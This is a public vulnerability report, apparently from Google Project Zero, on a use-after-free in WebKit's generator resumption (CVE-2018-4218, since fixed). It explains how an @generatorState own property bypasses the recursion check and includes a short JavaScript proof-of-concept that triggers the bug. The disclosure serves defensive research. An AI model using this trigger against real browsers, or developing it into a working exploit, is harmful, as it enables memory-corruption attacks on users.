New issue
Advanced search Search tips
Starred by 3 users

Issue metadata

Status: Fixed
Owner:
Closed: Jun 7
Cc:



Sign in to add a comment

WebKit: Use-after-free when resuming generator

Project Member Reported by natashenka@google.com, Mar 24

Issue description

In WebKit, resuming a generator is implemented in JavaScript. An internal object property, @generatorState is used to prevent recursion within generators. In GeneratorPrototype.js, the state is checked by calling:

    var state = this.@generatorState;

and set by calling:

    generator.@generatorState = @GeneratorStateExecuting;


Checking that the @generator property is set is also used in place of type checking the generator.

Therefore, if Generator.next is called on an object with a prototype that is a Generator, it will pass the type check, and the internal properties of the Generator prototype will be used to resume the generator. However, when @generatorState, it will be set as an own property on the object, not the prototype. This allows the creation of non-Generator objects with the @generatorState set to completed.

It is then possible to bypass the recursion check by setting the prototype of one of these objects to a Generator, as the check will then get the object's @generatorState own property, meanwhile the other internal properties will come from the prototype.

Generators are not intended to allow recursion, so a reference to the scope is not maintained, leading to a use-after free.

A minimal sample of the script causing this problem is below, and a full PoC is attached.

var iterator;

var a = [];

function* foo(index) {

  while (1) {
    var q = a.pop();
    if(q){
    	q.__proto__ = iterator;
  	  q.next();
    }
    yield index++;
  }
}

function* foo2(){
    yield;
}

var temp = foo2(0);

for(var i = 0; i < 10; i++){ // make a few objects with @generatorState set
	var q = {};
	q.__proto__ = temp;
	q.next();
	q.__proto__ = {};
	a.push(q);

}

iterator = foo(0);

var q = {};
q.__proto__ = iterator;
print(q.next().value);

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
y2.html
1.2 KB View Download
Project Member

Comment 2 by natashenka@google.com, May 30

Labels: CVE-2018-4218
Project Member

Comment 3 by natashenka@google.com, Jun 7

Labels: -Restrict-View-Commit
Status: Fixed (was: New)

Sign in to add a comment